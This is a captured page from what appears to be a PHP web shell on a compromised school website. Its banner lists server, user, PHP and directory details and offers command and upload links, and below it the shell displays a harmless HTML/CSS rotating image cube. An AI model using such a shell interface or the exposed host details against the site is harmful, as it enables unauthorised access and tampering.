|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/css/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>3D Image Cube</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="scene">
<div class="cube">
<div class="face front"><img src="front.jpg" alt="Front"></div>
<div class="face back"><img src="back.jpg" alt="Back"></div>
<div class="face right"><img src="right.jpg" alt="Right"></div>
<div class="face left"><img src="left.jpg" alt="Left"></div>
<div class="face top"><img src="top.jpg" alt="Top"></div>
<div class="face bottom"><img src="bottom.jpg" alt="Bottom"></div>
</div>
</div>
</body>
</html>
<style>
body {
margin: 0;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
background: #111;
}
.scene {
width: 200px;
height: 200px;
perspective: 800px;
}
.cube {
width: 100%;
height: 100%;
position: relative;
transform-style: preserve-3d;
animation: rotateCube 10s infinite linear;
}
.face {
position: absolute;
width: 200px;
height: 200px;
backface-visibility: hidden;
border: 2px solid #fff;
}
.face img {
width: 100%;
height: 100%;
object-fit: cover;
}
/* Positioning cube faces */
.front { transform: rotateY( 0deg) translateZ(100px); }
.back { transform: rotateY(180deg) translateZ(100px); }
.right { transform: rotateY( 90deg) translateZ(100px); }
.left { transform: rotateY(-90deg) translateZ(100px); }
.top { transform: rotateX( 90deg) translateZ(100px); }
.bottom { transform: rotateX(-90deg) translateZ(100px); }
@keyframes rotateCube {
from { transform: rotateX(0deg) rotateY(0deg); }
to { transform: rotateX(360deg) rotateY(360deg); }
}
</style>